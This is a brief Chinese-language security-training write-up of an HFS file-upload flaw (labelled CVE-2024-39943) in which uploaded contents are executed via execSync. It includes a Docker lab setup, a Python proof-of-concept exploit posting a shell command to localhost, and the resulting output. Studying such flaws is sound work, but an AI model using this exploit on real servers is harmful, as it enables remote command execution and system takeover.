白帽学校第3期 – 鲁正民 (@JenmrR)
在基于 Node.js 的 HFS 服务器环境中,存在一个漏洞,该漏洞会将上传文件的内容通过 child_process.execSync() 执行。
攻击者可以通过文件上传功能直接执行操作系统命令,并可查看服务器内部命令结果或控制系统。
该漏洞对应 CVE-2024-39943,会产生与命令注入(远程代码执行)同等级别的威胁。
/upload 路径接收文件上传,并将上传的文件内容直接作为命令执行$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
PoC 执行后的服务器响应:
Executed:
Hello_From_Hacked_Server

execSync() 执行的方式会引发严重的安全风险。